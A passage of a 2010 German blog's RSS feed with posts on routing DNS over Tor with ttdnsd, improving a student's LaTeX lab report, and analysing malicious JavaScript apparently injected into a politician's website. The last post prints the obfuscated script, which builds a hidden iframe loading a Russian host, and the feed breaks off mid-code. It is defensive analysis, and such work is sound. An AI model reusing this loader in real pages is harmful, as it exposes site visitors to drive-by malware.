href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3817&amp;amp;entry_id=1379&quot; title=&quot;https://torproject.org/ttdnsd/&quot;  onmouseover=&quot;window.status=&#039;https://torproject.org/ttdnsd/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;ttdnsd&lt;/a&gt; vor. Der Name steht
für &lt;em&gt;T&lt;/em&gt;or
&lt;abbr title=&quot;Transmission Control Protocol&quot;&gt;&lt;em&gt;T&lt;/em&gt;CP&lt;/abbr&gt;
&lt;abbr title=&quot;Domain Name Service&quot;&gt;&lt;em&gt;DNS&lt;/em&gt;&lt;/abbr&gt; &lt;em&gt;D&lt;/em&gt;aemon
und versucht alle DNS-Verbindungen über Tor zu leiten.&lt;/p&gt;

&lt;p&gt;Derzeit muss die Software entweder aus den &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3818&amp;amp;entry_id=1379&quot;  onmouseover=&quot;window.status=&#039;https://gitweb.torproject.org/ioerror/ttdnsd.git&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Quellen&lt;/a&gt;
oder als &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3819&amp;amp;entry_id=1379&quot; title=&quot;https://www.torproject.org/docs/debian&quot;  onmouseover=&quot;window.status=&#039;https://www.torproject.org/docs/debian&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Debian-Paket&lt;/a&gt;
installiert werden. An RPMs wird noch gearbeitet. Eine Unterstützung
für Windows ist noch nicht umgesetzt. Nach der Installation läuft die
Software als Dienst im Hintergrund. In der Datei
&lt;var&gt;/etc/ttdnsd.conf&lt;/var&gt; befindet sich die
Konfiguration. Standardmäßig enthält diese den Nameserver von Google
mit der Adresse &lt;var&gt;8.8.8.8&lt;/var&gt;. Weitere Nameserver können
eingetragen werden. Ich lasse immer mal wieder &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3820&amp;amp;entry_id=1379&quot; title=&quot;http://code.google.com/p/namebench/&quot;  onmouseover=&quot;window.status=&#039;http://code.google.com/p/namebench/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;namebench&lt;/a&gt; laufen und wähle aus der Auswertung einige
Server aus. Es empfiehlt sich, aus der &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3dpa2kuYWstemVuc3VyLmRlL2luZGV4LnBocC9VbnplbnNpZXJ0ZV9ETlNfU2VydmVy&amp;amp;entry_id=1379&quot; title=&quot;http://wiki.ak-zensur.de/index.php/Unzensierte_DNS_Server&quot;  onmouseover=&quot;window.status=&#039;http://wiki.ak-zensur.de/index.php/Unzensierte_DNS_Server&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Liste der
zensurfreien Server&lt;/a&gt; einige zu wählen. Die Anzahl der Einträge in
der Datei ist unbegrenzt. Die Software wählt bei jedem Lauf
zufälligerweise einen Eintrag aus.&lt;/p&gt;

&lt;p&gt;Nachdem die Software eingerichtet wurde, sollte auch das eigene
System überredet werden, den ttdnsd für DNS-Anfragen zu nutzen. Im
einfachsten Fall öffnet ihr die Datei &lt;var&gt;/etc/resolv.conf&lt;/var&gt; und
tragt dort die Zeile &lt;kbd&gt;nameserver 127.0.0.1&lt;/kbd&gt; ein. Wenn ihr
dynamische IP-Adressen nutzt, hat das unter Umständen den Nachteil,
dass der Eintrag bei jeder Aktualisierung überschrieben wird. Für &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3821&amp;amp;entry_id=1379&quot; title=&quot;http://ubuntu.com&quot;  onmouseover=&quot;window.status=&#039;http://ubuntu.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Ubuntu&lt;/a&gt; würde ich daher empfehlen, in der
Datei &lt;var&gt;/etc/dhcp3/dhclient.conf&lt;/var&gt; den Eintrag &lt;kbd&gt;prepend
domain-name-servers 127.0.0.1;&lt;/kbd&gt; zu setzen. Dann wird der
Nameserver bei jedem Update korrekt in die &lt;var&gt;/etc/resolv.conf&lt;/var&gt;
eingetragen. Wenn ihr nur einmalig testen wollt, könnt ihr natürlich
dem jeweiligen Programm die Adresse übergeben: &lt;kbd&gt;dig @127.0.0.1
torproject.org&lt;/kbd&gt; oder &lt;kbd&gt;host torproject.org
127.0.0.1&lt;/kbd&gt;.&lt;/p&gt;

&lt;p&gt;Die Beantwortung von Anfragen über Tor dauert natürlich etwas
länger als über eine nicht anonymisierte Verbindung. Kai Raven hat in
seinem &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3822&amp;amp;entry_id=1379&quot; title=&quot;http://wiki.kairaven.de/&quot;  onmouseover=&quot;window.status=&#039;http://wiki.kairaven.de/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Wiki&lt;/a&gt; eine &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3dpa2kua2FpcmF2ZW4uZGUvb3Blbi96ZW5zdXJmaWx0ZXIvYXplbnN1cl9kbnMjcGRuc2Q=&amp;amp;entry_id=1379&quot; title=&quot;http://wiki.kairaven.de/open/zensurfilter/azensur_dns#pdnsd&quot;  onmouseover=&quot;window.status=&#039;http://wiki.kairaven.de/open/zensurfilter/azensur_dns#pdnsd&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Beschreibung
zum DNS-Proxy pdnsd&lt;/a&gt;. Dieser hat einen Zwischenspeicher für
DNS-Anfragen und antwortet schneller, wenn die Ergebnisse in seinem
Speicher sind.&lt;/p&gt;

&lt;p&gt;Der ttdnsd ist noch in Entwicklung, d.h. einige Stellen im
Quellcode müssen überarbeitet werden und derzeit kann ein Angreifer
den Anfragen an dem Server vorbei leiten. Diese Punkte sind bekannt
und sollen in den folgenden Versionen behoben werden. Ich halte die
Software schon benutzbar und kann euch einen Test nur ans Herz legen. &lt;img src=&quot;http://www.kubieziel.de/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;
  
    </content:encoded>

    <pubDate>Thu, 08 Jul 2010 18:11:52 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1379-guid.html</guid>
    <category>anonymität</category>
<category>dns</category>
<category>tor</category>
<category>ttdnsd</category>

</item>
<item>
    <title>Praktikumsprotokolle mit LaTeX</title>
    <link>http://www.kubieziel.de/blog/archives/1375-Praktikumsprotokolle-mit-LaTeX.html</link>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1375-Praktikumsprotokolle-mit-LaTeX.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1375</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1375</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;&lt;q&gt;Ich habe ein Problem mit LaTeX. Das funzt nicht!!11!11!!elf&lt;/q&gt;,
so oder ähnlich lauten Anfragen, die mich hin und wieder per E-Mail
erreichen. In der Regel ist klar, wo der Fehler liegt und ich verweise
dann auf die entsprechende Dokumentation. Bei größeren Problemen zeige
ich dann Richtung der entsprechenden Mailinglisten, Newsgroups
etc.&lt;/p&gt;

&lt;p&gt;Kürzlich erreichte mich eine Anfrage eines Studenten, der seine
Protokolle mit LaTeX setzen möchte. Den Ansatz finde ich recht
löblich. Die Herangehensweise war, sagen wir,
verbesserungswürdig. Untenstehend findet ihr das (verfremdete)
Originaldokument. Anhand dessen will ich Verbesserungen
diskutieren.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;\documentclass[german]{article}
\linespread{1.5}
\usepackage[ngerman]{babel}
\usepackage{amsmath}
\usepackage{graphics}
\pagestyle{headings}
\usepackage{geometry}
\geometry{a4paper,left=25mm,right=25mm, top=4cm, bottom=3cm}
\begin{document}
\begin{center}
  {\Huge Synthese von Aquamarins&quot;aure-$\textit{n}$-hexylester}${^{^\mathrm{^{[1]}}}}$
   \end{center}\vspace{20mm}
 \begin{tabular}{ll}
  Name:&amp;Peter Meier\\
  Assistent:&amp;Hanno Lehmann\\
  Datum des Versuches:&amp;19.05.10
 \end{tabular}\vspace{10mm}  

\underline{\textbf{Reaktionsgleichung}}
\begin{figure}[h]
	\centering
		\rotatebox{0}{\scalebox{0.7}[0.7]{\includegraphics{bild1.jpg}}}
	\label{fig:Aquamarins&quot;aure-\textit{n}-hexylester}
\end{figure}\\
\noindent \underline{\textbf{Sicherheitsdaten}}\\ \\
 \begin{tabular}{ll}
 Aquamarins&quot;auredehydrid (C)&amp;R 34\\
 &amp;S (1/2)-26-45\\
 1-Methanol (Xn)&amp;R 22\\
 &amp;S (2)-24/25\\
 Schwefels&quot;aure (C)&amp;R 35\\
 &amp;S (1/2)-26-30-45\\
 Methylether (F+, Xn)&amp;R 12-19-22-66-67\\
 &amp;S (2)-9-16-29-33\\
 \end{tabular}
\vspace{0,5cm}\\
\noindent\underline{\textbf{Entsorgung}}\\ \\
 \begin{tabular}{ll}
 Aquamarins&quot;auredehydrid&amp;amp;Organische L&quot;osungsmittelabf&quot;alle\\
 1-Methanol&amp;amp;Organische L&quot;osungsmittelabf&quot;alle\\
 Schwefels&quot;aure&amp;amp;Neutralisieren, dann kommunale Abf&quot;alle\\
 Methylether&amp;amp;gesonderde Abf&quot;alle\\
 \end{tabular}\\ \\
\vspace{0,5cm}\\ 
\newpage
\noindent\underline{\textbf{Durchf&quot;uhrung}}$^{[1]}$\\ 
\begin{sloppypar}
\noindent 
Eine L&quot;osung von Aquamarins&quot;auredehydrid (22.1~g, 170~mmol, 1.00~&quot;Aq.)
und 1-Methanol (15.3~mL, 150~mmol, 1.00~&quot;Aq.) wurde mit 96~\%iger
Schwefels&quot;aure (2.0~ml) versetzt und 1 h bei 100~$\mathrm{^{o}}$C
ger&quot;uhrt, nach abk&quot;uhlen mit Eiswasser (75 ml) versetzt und 30 min bei
18-25~$\mathrm{^{o}}$C ger&quot;uhrt. Die Phasen wurden getrennt, die
w&quot;assrige Phase mit Methylether (2~x~50~ml) extrahiert und die
vereinigten organischen Phasen mit 10~\%iger w&quot;assriger
Polycarbonat-L&quot;osung (150~ml) langsam versetzt. Die organische
Phase wurde mit 10~\%iger w&quot;assriger Polycarbonat-L&quot;osung (2 x
50~ml) und Wasser (50~ml) gewaschen und &quot;uber dem W&quot;aschetrockner
getrocknet. Das L&quot;osungsmittel wurde unter Vakuum entfernt und
fraktionierende Destillation des Rohprodukts lieferte die
Zielverbindung (27.9~g, 117~mmol, 73~\%[Lit.$\mathrm{^{[1]}}$: 90\%)
als farblose Fl&quot;ussigkeit.\\ \\
\end{sloppypar}
%\vspace{0,5cm}
\noindent \underline{\textbf{Analytische Daten}}\\ \\
\textbf{Sdp.}: 107 $\mathrm{^{o}}$C (15~Torr) [Lit.$\mathrm{^{[1]}}$: 75-78~$\mathrm{^{o}}$C (15~Torr)].\\
\textbf{Brechungsindex}: n$\mathrm{_{D}^{20}}=1.4135$ [Lit.$\mathrm{^{[1]}}$: n$\mathrm{_{D}^{20}}=1.4128$].\\
\textbf{$^{1}$H-NMR} (300 MHz, CDCl$_{3}$): $\mathrm{\delta}$ = 
0.83 (t, \textit{J} = 7.5 Hz, 3~H, C\underline{H}$_3$CH$_2$COO-), 
1.08 (t, \textit{J} = 7.5 Hz , 3~H, -CH$_2$CH$_2$C\underline{H}$_3$),
1.20-1.40~(m, 6~H, -CH$_2$-(C\underline{H}$_2$)$_3$-CH$_3$)
1.52-1.59 (m, 2~H, -O-CH$_2$-C\underline{H}$_2$-CH$_2$)
2.26 (q, \textit{J}~=~7.5 Hz, 2~H, CH$_{3}$-C\underline{H}$_{2}$-CO-) 
4.01 (t, \textit{J} = 7.5 Hz, 2~H,-OC\underline{H}$_{2}$-)ppm.\\
\vspace{7mm}  \\
\noindent \underline{\textbf{Mechanismus (Veresterung)}}\\ 
\begin{figure}[h]
	\centering
		\rotatebox{0}{\scalebox{0.7}[0.7]{\includegraphics{bild2.jpg}}}
	\label{fig:}
\end{figure}
\\
\noindent \underline{\textbf{Literatur}}\\ \\
$\mathrm{\left[1\right]}$ A. B. Schulze \textit{Organisch-Chemisches
Grundpraktikum}, \textbf{2005}, Verlag Erfunden, 7. Auflage, S. 135.
\end{document}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Als Dokumentklasse wird &lt;code&gt;article&lt;/code&gt; benutzt. Ich halte es
generell für sinnvoller &lt;code&gt;scrartcl&lt;/code&gt; bzw. eine äquivalente
Klasse aus &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3803&amp;amp;entry_id=1375&quot; title=&quot;http://www.komascript.de/&quot;  onmouseover=&quot;window.status=&#039;http://www.komascript.de/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;KOMA-Script&lt;/a&gt; zu
verwenden. Dann kann man weiter unten statt &lt;code&gt;headings&lt;/code&gt; das
Paket &lt;code&gt;scrpage2&lt;/code&gt; verwenden. Das finde ich angenehmer zu
nutzen und ist naturgemäß gut in KOMA-Script integriert. &lt;img src=&quot;http://www.kubieziel.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Die Zeile &lt;code&gt;\geometry{a4paper,left=25mm,right=25mm, top=4cm,
bottom=3cm}&lt;/code&gt; riecht ja sehr stark nach dem Standart (sic!) von
Word. Wahrscheinlich sind das die Vorgaben des Lehrstuhls. Wem&#039;s
gefällt. Unter Umständen kann man da auch mit den &lt;code&gt;DIV&lt;/code&gt;-
und &lt;code&gt;BCOR&lt;/code&gt;-Werten von KOMA-Script mehr erreichen.&lt;/p&gt;

&lt;p&gt;Im Haupttext fällt auf, dass der Autor immer Umschreibungen für
Umlaute verwendet. Dort empfiehlt es sich, das Paket
&lt;code&gt;inputenc&lt;/code&gt; mit der korrekten Option (wahrscheinlich
&lt;code&gt;utf8&lt;/code&gt; oder &lt;code&gt;latin1&lt;/code&gt;) zu laden. Das macht das
Schreiben einfacher.&lt;/p&gt;

&lt;p&gt;Kommen wir zum Hauptteil des Dokuments. Zuerst stehen dort Angaben
zu Titel, Autor etc. Diese sind, wie vieles anderes, manuell
formatiert. Üblicherweise packt man das in die entsprechenden Befehle
und lässt die Titelei automatisch erzeugen:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;\title{Synthese von Aquamethansäure-\textit{n}-hexylester}
\author{Name: Peter Meier\\
Assistent: Hanno Lehman}
\date{19.\,April~2010}
\maketitle
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Ich habe dabei beim Datum darauf geachtet, dass die korrekten
Leerzeichen verwendet werden. Ebenso habe ich im Rest des Dokuments
versucht, korrekte Abstände zu verwenden. Im Originaldokument stand
des Weiteren am Ende des Titels eine hochgestellte [1]. Ich vermute,
dass der Autor damit auf die Literatur am Ende des Dokuments verweisen
wollte. In dem Fall empfiehlt es sich, hier auch die entsprechende
Umgebung zu benutzen und dann mittels &lt;code&gt;\cite{schu05}&lt;/code&gt; das
Buch zu zitieren:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;\begin{thebibliography}{99}
\bibitem{schu05} A.\,B.\,Schulze \textit{Organistisches
Profipraktikum}, \textbf{2005}, Verlag Erfunden, 7.\,Auflage, S.\,135.
\end{thebibliography}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Im weiteren Text finden sich immer Zeilen der Art
&lt;code&gt;\underline{\textbf{..}}&lt;/code&gt;. Nach meiner Deutung sind das
Überschriften zu dem jeweiligen Teil des Protokolls. Daher sollte man
auch &lt;code&gt;\section{..}&lt;/code&gt; verwenden. Wenn wirklich
unterstrichener Text verwendet werden soll, muss im Dokumentkopf
&lt;code&gt;\addtokomafont{section}{\bfseries\underline}&lt;/code&gt; ergänzt
werden. Ich kann mich jedoch nur der Warnung der Autoren des
KOMA-Script-Handbuches anschließen, die schreiben:&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;Ich möchte Sie eindringlich davor warnen, die
Möglichkeit zur Schriftumschaltung zu missbrauchen, um wild
Schriften, Schriftgrößen und Schriftattribute miteinander zu
mischen. Die Auswahl der richtigen Schrift für die richtige Aufgabe
ist eine Sache für Experten und hat sehr, sehr wenig mit dem
persönlichem Geschmack eines Laien zu tun.&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;Die Beschreibung der Durchführung schreit nach der Verwendung eines
Pakets zum Setzen von Einheiten. Ich nutze gern
&lt;code&gt;siunitx&lt;/code&gt;. Nachdem das Paket eingebunden ist, lassen sich
Einheiten einfach setzen:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;\SI{22.1}{\gram}, \SI{170}{\mmol},
\SI{100}{°C}, \SI{15.3}{\milli\liter}&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Für chemische Angaben gibt es &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3RleGNhdGFsb2d1ZS5zYXJvdmFyLm9yZy9ieXRvcGljLmh0bWwjY2hlbQ==&amp;amp;entry_id=1375&quot; title=&quot;http://texcatalogue.sarovar.org/bytopic.html#chem&quot;  onmouseover=&quot;window.status=&#039;http://texcatalogue.sarovar.org/bytopic.html#chem&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;zahlreiche
LaTeX-Pakete&lt;/a&gt;. Es ist nicht ausgeschlossen, dass eines davon die
Bedürfnisse besser trifft. Außerdem gibt es unter der obigen URL
vorgefertigte Pakete für Praktikumsprotokolle. Diese erleichtern unter
Umständen ebenfalls die Arbeit.&lt;/p&gt;

&lt;p&gt;Mit den Veränderungen lassen sich doch starke Verbesserungen
erreichen. Vielleicht sind meine Kommentare für den einen oder
anderen Leser ebenso hilfreich.&lt;/p&gt;
  
    </content:encoded>

    <pubDate>Sat, 03 Jul 2010 13:59:04 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1375-guid.html</guid>
    <category>chemie</category>
<category>komascript</category>
<category>latex</category>
<category>praktikum</category>
<category>protokoll</category>
<category>siunitx</category>

</item>
<item>
    <title>Schadcode bei ilse-aigner.de?</title>
    <link>http://www.kubieziel.de/blog/archives/1370-Schadcode-bei-ilse-aigner.de.html</link>
            <category>Politik</category>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1370-Schadcode-bei-ilse-aigner.de.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1370</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1370</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3783&amp;amp;entry_id=1370&quot; title=&quot;http://identi.ca/kampfflunder&quot;  onmouseover=&quot;window.status=&#039;http://identi.ca/kampfflunder&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Rainer&lt;/a&gt; &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL2lkZW50aS5jYS9ub3RpY2UvMzY1MTEwNTU=&amp;amp;entry_id=1370&quot; title=&quot;http://identi.ca/notice/36511055&quot;  onmouseover=&quot;window.status=&#039;http://identi.ca/notice/36511055&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;fragte sich und die
identi.caer&lt;/a&gt; (später auch die &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3784&amp;amp;entry_id=1370&quot; title=&quot;http://rainer.sokoll.com/?p=978&quot;  onmouseover=&quot;window.status=&#039;http://rainer.sokoll.com/?p=978&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; &gt;Blogleser&lt;/a&gt;), ob denn die Webseite von &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3785&amp;amp;entry_id=1370&quot; title=&quot;http://ilse-aigner.de/&quot;  onmouseover=&quot;window.status=&#039;http://ilse-aigner.de/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Ilse Aigner&lt;/a&gt; gehackt ist. Der erste Blick auf die Seite liess mich in der Tat erstaunen:&lt;/p&gt;

&lt;p style=&quot;text-align:center&quot;&gt;&lt;img src=&quot;http://kubieziel.de/pics/ilse-aigner.de.png&quot; alt=&quot;Webseite ohne JavaScript&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ich habe die Firefox-Erweiterung &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3786&amp;amp;entry_id=1370&quot; title=&quot;http://noscript.net/&quot;  onmouseover=&quot;window.status=&#039;http://noscript.net/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;NoScript&lt;/a&gt; aktiviert und die
Browserweiche der Webseite wurde aktiv. Aber bereits hier war das
Problem im HTML-Code zu sehen. Eine enorme Menge JavaScript. Im
erweiterten Teil des Beitrages findet ihr den kompletten
Schnippsel. Ich habe da nur an jedem Semikolon einen Umbruch
eingebaut.&lt;/p&gt;

&lt;p&gt;Innerhalb des JavaScript-Teiles werden diverse Variablen angelegt
und nie benutzt. Es gibt die merkwürdige Zeile &lt;code&gt;eturn
&#039;h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|&#039;.qK(/[\|J\$3\)]/g,
&#039;&#039;);&lt;/code&gt; und andere Nettigkeiten. Ich habe dann mal versucht, das
Puzzle sinnvoll wieder zusammen zu setzen. Nach meiner Meinung dient
der Code dazu, innerhalb der Webseite einen Bereich zu öffnen
(IFrame). Dort wird der Inhalt der Seite &lt;var&gt;qlke.ru/index.html&lt;/var&gt;
geladen. Im nächsten Schritt wäre es also von Interesse, was in dieser
Datei steht.&lt;/p&gt;

&lt;p&gt;Ich versuchte also zunächst ein &lt;code&gt;GET /index.html
HTTP/1.1&lt;/code&gt; bei der Seite und erhielt als Antwort:&lt;/p&gt;

&lt;pre&gt;&lt;samp&gt;HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jun 2010 13:00:01 GMT
Content-Type: text/html
Connection: close
Last-Modified: Mon, 14 Jun 2010 15:01:58 GMT
ETag: &quot;a6600e-2881-488fec52d6580&quot;
Accept-Ranges: bytes
Content-Length: 10369
Vary: Accept-Encoding

404 Not found&lt;/samp&gt;&lt;/pre&gt;

&lt;p&gt;Wie man sieht, habe ich den Abruf heute gemacht. Leider habe ich
den kompletten HTTP-Header nicht gespeichert. Insofern könnte der Teil
ab &lt;samp&gt;Last-Modified&lt;/samp&gt; vorher anders gewesen sein. Sehr markant
finde ich, dass der Webserver meint, es sei alles in Ordnung (200 OK),
währenddessen eine nicht gefundene Seite vorgespiegelt wird. Das kann
natürlich ein Fehler in der Konfiguration sein. Viel wahrscheinlicher
hielt ich das jedoch für einen Platzhalter, der später durch Schadcode
ersetzt wird. Mittlerweile hat sich diese Vermutung wahrscheinlich
bestätigt. Denn diese Seite enthält jetzt HTML und wieder
JavaScript. Das lädt dann Code von der Seite
&lt;samp&gt;http@//bijitersto@com/cgibin/index@php&lt;/samp&gt; (Ich habe mal
Doppelpunkt und Punkt durch @ ersetzt) nach. Firefox meldet diese
Seite sofort als attackierende Seite. Also seit vorsichtig beim
Betreten.&lt;/p&gt;

&lt;p&gt;Der Server auf dem qlke.ru läuft, steht derzeit in Österreich. Die
zweitgenannte Seite läuft derzeit auf einem Rechner in der
Ukraine. Also insgesamt sieht das Ganze nicht unbedingt so aus, als ob
das die Verbraucherschutzministerin ihren Besuchern anbieten will.&lt;/p&gt;

&lt;p&gt;Ich frage mich, wie der Quellcode überhaupt auf die Seite von
ilse-aigner.de gekommen ist. Hat da jemand den Rechner gehackt
bzw. die Software, die die Webseiten ausliefert? Offensichtlich hatten
die Besucher der Webseite von Ilse Aigner viel Glück. Denn die
Angreifer hatten ihre Munition noch nicht an den Start gebracht. Ein
erster Kontaktversuch zu den Betreibern der Webseite von Ilse Aigner
lief leider ins Leere, da E-Mails an den Webmaster als unzustellbar
zurückkamen. Ich werde eventuell Frau Aigner direkt um Stellungnahme
bitten. Falls ich Rückmeldung erhalte, werde ich nochmal ein paar
Zeilen dazu schreiben.&lt;/p&gt; &lt;pre&gt;&lt;code&gt;function hT(){};
this.xA=&#039;&#039;;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=&#039;&#039;;
return &#039;h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|&#039;.qK(/[\|J\$3\)]/g, &#039;&#039;);
var kY=&quot;kY&quot;;
this.eP=&#039;&#039;;
sY=&quot;&quot;;
},m : function() {this.gJ=&quot;&quot;;
var f=new Array();
function r(){};
var tB=false;
    this.mP=&quot;&quot;;
q=&quot;&quot;;
    var s=&#039;replace&#039;;
var gV=&#039;&#039;;
var a=function(){};
var tA=new Array();
var pU=&#039;&#039;;
var z=document;
this.pA=&quot;pA&quot;;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=&quot;uW&quot;;
this.iC=&#039;&#039;;
var eN=&quot;eN&quot;;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=&quot;&quot;;
sF=false;
dX=&#039;&#039;;
var gVN=1376;
var mJ = &#039;sQegt@TgigmQe@oQu^t@&#039;.qK(/[@\^g_Q]/g, &#039;&#039;);
iB=&#039;&#039;;
cF=false;
var i = &#039;&amp;lt;Mh$tum^lM u&amp;gt;$&amp;lt;Yh^eMaYd$ u&amp;gt;^&amp;lt;u/^h^e$a$d$&amp;gt;^&amp;lt;ubYoud$yM u&amp;gt;$&amp;lt;u/Mb^o^d^yu&amp;gt;u&amp;lt;$/^h$tumYl$&amp;gt;M&#039;.qK(/[M\$u\^Y]/g, &#039;&#039;);
this.aF=&quot;aF&quot;;
this.qC=&quot;&quot;;
this.kF=&#039;&#039;;
var jZ=&#039;&#039;;
var pN=new Date();
try {var sG=&quot;&quot;;
var hQ=&quot;&quot;;
this.v=false;
oM=&quot;&quot;;
var uQ=function(){};
var bO=new Date();
var sI = &#039;b9oRdlyR&#039;.qK(/[R9lSG]/g, &#039;&#039;);
this.hO=false;
var qU=new Array();
var sN = &#039;sjt#yjl{eE&#039;.qK(/[E#\{@j]/g, &#039;&#039;);
pM=&quot;pM&quot;;
yN=&quot;yN&quot;;
this.hI=false;
var j = &#039;i~f_r6a1m6e&amp;&#039;.qK(/[&amp;~1_6]/g, &#039;&#039;);
mA=12855;
function uF(){};
iM=false;
var e = &#039;w{r~iWt{e~&#039;.qK(/[~\{Wm\.]/g, &#039;&#039;);
var zJ=&#039;&#039;;
this.tS=false;
var k = &#039;c(r(e5a(t5e(Eol(e:moe:n5t(&#039;.qK(/[\(o\:N5]/g, &#039;&#039;);
this.n=&#039;&#039;;
var aD=function(){};
var qE=new Array();
kW=false;
var p = &#039;sLr&amp;cL&#039;.qK(/[LRy/&amp;]/g, &#039;&#039;);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=&#039;&#039;;
this.tM=&quot;&quot;;
this.eE=51540;
var xE = &#039;s4e4t5AVt,t5r5i5b,uVtGe4&#039;.qK(/[4V,5G]/g, &#039;&#039;);
var hG=new Array();
var mF=&#039;&#039;;
this.fG=&quot;fG&quot;;
var hV=function(){return &#039;hV&#039;};
var y = &#039;hSiSdSdSexnS&#039;.qK(/[SZx\&amp;gt;t]/g, &#039;&#039;);
var w=&#039;&#039;;
var cC=&#039;&#039;;
this.gE=&quot;&quot;;
sE=&#039;&#039;;
var jL = &#039;vei5s[icbci+l[i[tey+&#039;.qK(/[\+\[5ec]/g, &#039;&#039;);
var xS=&#039;&#039;;
this.oJ=&quot;&quot;;
    var h = &#039;a^pTp^eTnJd&amp;C^h&amp;i&amp;l&amp;dJ&#039;.qK(/[J\^g&amp;T]/g, &#039;&#039;);
this.uU=&#039;&#039;;
var aR=&quot;aR&quot;;
    this.zQ=false;
function aJ(){};
    var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=&quot;lI&quot;;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=&quot;pB&quot;;
var wV=function(){};
kQ=false;
var tSX=function(){return &#039;tSX&#039;};
kV[sN][jL] = y;
var jE=function(){return &#039;jE&#039;};
var tU=1024;
var cY=&#039;&#039;;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=&#039;&#039;;
function uM(){};
uV=62754;
jP=&quot;&quot;;
var xH=new Array();
z[sI][h](kV);
this.mE=&quot;&quot;;
var bK=function(){return &#039;bK&#039;};
var tC=&quot;tC&quot;;
var rU=new Date();
this.pT=&#039;&#039;;
var vD=&quot;vD&quot;;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=&quot;&quot;;
this.oU=false;
z.write(i);
this.kB=&quot;kB&quot;;
pW=&#039;&#039;;
var zC=&quot;&quot;;
qR=&#039;&#039;;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=&#039;&#039;;
function sS(){};
uT=&#039;&#039;;
rG=&quot;rG&quot;;
